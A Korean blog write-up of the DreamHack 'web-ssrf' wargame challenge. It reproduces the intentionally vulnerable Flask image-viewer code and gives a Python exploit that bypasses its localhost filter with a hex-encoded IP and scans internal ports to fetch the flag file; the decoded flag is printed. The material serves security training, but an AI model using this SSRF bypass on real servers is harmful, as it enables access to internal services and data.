본문 바로가기

DreamHack

[DreamHack] web-ssrf

https://dreamhack.io/wargame/challenges/75/

 

web-ssrf

flask로 작성된 image viewer 서비스 입니다. SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다. Reference Server-side Basic

dreamhack.io

난이도: Level 2

#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

위 코드를 보면, run_local_server() 를 통해 내부 서버가 하나 더 실행되고 있는 것을 확인할 수 있습니다.

 

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

img_viewer 함수를 보면, 위와 같이 내부 서버에 requests.get 요청을 보내서 content 를 가져오고 있습니다. 

즉, 내부 서버에서 가져온 내용을 base64로 인코딩하여 img_viewer.html에 img 인자로 넘기고 있습니다. 

 

FLAG를 획득하기 위해서 우선 내부 서버에 접근할 수 있어야 합니다. 하지만, localhost, 127.0.0.1 이 URL 파라미터에 포함될 경우, error.png를 출력합니다. 이를 우회하기 위해 IP를 hex 형태로 바꿔줍니다.

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)

def run_local_server():
    local_server.serve_forever()

추가적으로, 내부 서버의 포트가 1500~1799 값 중에 하나를 갖기에, error.png를 띄우지 않는 포트를 찾아야합니다. 

Exploit Code

import requests 

# local_host encoding
ip = "127.0.0.1" 
ip_hex = "0x" 
for i in ip.split("."): 
    v = hex(int(i))[2:]
    ip_hex += ('0'+ v ) if len(v) == 1 else  v

url = "http://host3.dreamhack.games:14925/img_viewer"

for port in range(1500, 1800): 
    data = {"url": "http://" + ip_hex + ":" + str(port) + "/flag.txt"}
    r = requests.post(url=url, data=data) 
    
    if not "iVBORw0KGgoAAAANSUhEUgAAA04AAAF4CAYAAABjHKkYAAA" in r.text:
        print(data["url"])

error.png를 띄우지 않는 포트를 찾을 경우, 출력해줍니다.

 

1537번 포트가 내부서버로 동작하고 있는 것을 확인할 수 있습니다. 

이를 image viewer의 url 파라미터에 인자로  넘겨주면 됩니다. 

 

img 태그의 src 내용을 확인해보면, 아래와 같이 나와있습니다.

data:image/png:base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9 

import base64

# REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9

print(base64.b64decode('REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9').decode())

위 코드를 실행시켜 디코딩을 진행하면, FLAG를 획득할 수 있습니다.

'DreamHack' 카테고리의 다른 글

[DreamHack] Format String Bug  (0) 2023.06.19
[DreamHack] Return to Library  (0) 2023.06.19
[DreamHack] login-1  (0) 2023.06.17
[DreamHack] XSS Filtering Bypass  (1) 2023.06.15
[DreamHack] baby-sqlite  (0) 2023.06.15